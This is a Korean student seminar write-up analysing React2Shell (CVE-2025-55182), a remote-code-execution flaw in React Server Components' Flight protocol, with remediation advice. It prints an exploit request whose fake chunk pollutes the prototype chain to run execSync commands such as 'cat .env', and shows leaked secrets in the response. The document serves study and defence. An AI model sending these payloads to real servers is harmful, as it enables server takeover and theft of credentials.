
[우리 FISA] 기술 세미나 우승 - 클라우드 서비스 개발 6기 3팀 - React2Shell (CVE-2025-55182) 분석 및 연구
우리FISA 기술세미나 6기 - 3팀 React Server Component(RSC)의 설계 결함을 이용한 원격 코드 실행(RCE) 취약점, React2Shell 분석 및 연구

| Member | Role | GitHub |
|---|---|---|
| 남인서 | 자료조사, PPT제작, 발표 | @sene03 |
| 유승준 | 자료조사, PPT제작, 발표 | @fluanceifi |
| 이수현 | 자료조사, PPT제작 | @hyun793 |
| 김유정 | 자료조사, PPT제작 | @yujung23 |
React2Shell(CVE-2025-55182)은 React Server Component(RSC)가 사용하는 Flight Protocol의 통신 과정에서 발견된 치명적인 보안 취약점입니다.
React는 컴포넌트를 처리하기 위해 문자열, 배열 외에도 Promise, Blob, Map과 같은 복잡한 타입을 호환하는 Flight Protocol을 사용합니다.
| 표현식 | 타입 | 설명 |
|---|---|---|
$$ | Escaped $ | $로 시작하는 리터럴 문자열 |
$@ | Promise/Chunk | Chunk ID 참조 |
공격자는 이러한 프로토콜 스트림 처리 방식의 취약점을 이용해 악성 스크립트를 주입하고 서버의 제어권을 획득합니다.
공격자는 Next-Action, multipart/form-data 헤더를 포함한 요청을 통해 JSON 데이터를 서버로 전송합니다. 이때 요청 body에 Promise 객체처럼 위장한 가짜 청크(Fake Chunk)를 포함시킵니다.
POST / HTTP/1.1
Host: localhost: 3000
[... 기타 헤더 생략 ...]
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="0"
{"then": "$1: __proto__: then", "status": "resolved_model" , "reason": -1, "value": "{\"then\": \"$B0\"}" , "_response":
f"_prefix": "var res = process mainModule.require('child_process'). execSync('실행할 명령어',
{'timeout': 5000}). toString(). trim(); throw Object.assign(new Error( 'NEXT_REDIRECT'), {digest: ${res} });" {"get":"$1: constructor: constructor"}}}
------WebkitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundary7MA4YWxkTrZu0gW--
'_formData":
// 공격자가 전송한 가짜 청크 예시
{
"then" : "$1:__proto__:then"
"status" : "resolved_model",
"reason" : -1,
"value" : "{\"then\":\"$B0\"}",
"_response" : {
"_prefix": "execSync('cat .env'); //",
"_formData":{"get": "$1:constructor:constructor"}
}
}
then에 Chunk.prototype.then이 매핑됩니다._prefix에 담긴 악성 코드가 Function의 인자로 들어갑니다.thenable로 호출되는 순간, 공격자가 심어둔 임의의 코드가 서버에서 실행됩니다.// POST 요청에 대한 응답 예시
500
0:{"a":"$@1","f":"","b":"sDAZnkg0U4tReIQ4vYjJS"}
1:E{"digest":**"DATABASE_URL='...'"**}
// ReactFlightReplyServer.js - getOutlinedModel()
for (let i = 1; i < path.length; i++) {
value = value[path[i]]; // 여기서 hasOwnProperty check가 누락됨!
}
$1:path:to:value 형태의 참조를 해석할 때, 콜론(:)을 기준으로 문자열을 쪼개어 객체 내부를 탐색합니다.$1:__proto__:then 을 해석하며 chunk의 프로토타입과 해당 객체의 then까지 접근할 수 있게 됩니다(Chunk.prototype.then ).이 취약점은 모던 웹 생태계 전반에 큰 파장을 일으켰습니다.
React2Shell 사태는 "프론트엔드 개발자도 서버 보안을 이해해야 한다"는 교훈을 남겼습니다.
react-server-dom-webpack 등 관련 패키지를 즉시 최신 버전(19.0.1+ 등)으로 업데이트
Next.js 등 RSC를 내장한 프레임워크는 단순히 React만 올린다고 해결되지 않으므로 프레임워크 자체의 보안 릴리즈 노트를 확인하고 최신 버전으로의 업그레이드가 필요
Grafana 같은 모니터링 시스템을 활용하고 이메일, 슬랙 등 경고를 전송할 수 있는 매체와 연결하여 즉각적인 조치를 취할 수 있도록 알람 설정
기술의 발전으로 프론트엔드의 영역이 확장된 만큼, 보안에 대한 책임의 범위 또한 넓어졌음을 인지해야 합니다.
React2Shell: CVE-2025-55182 취약점 완벽 분석 가이드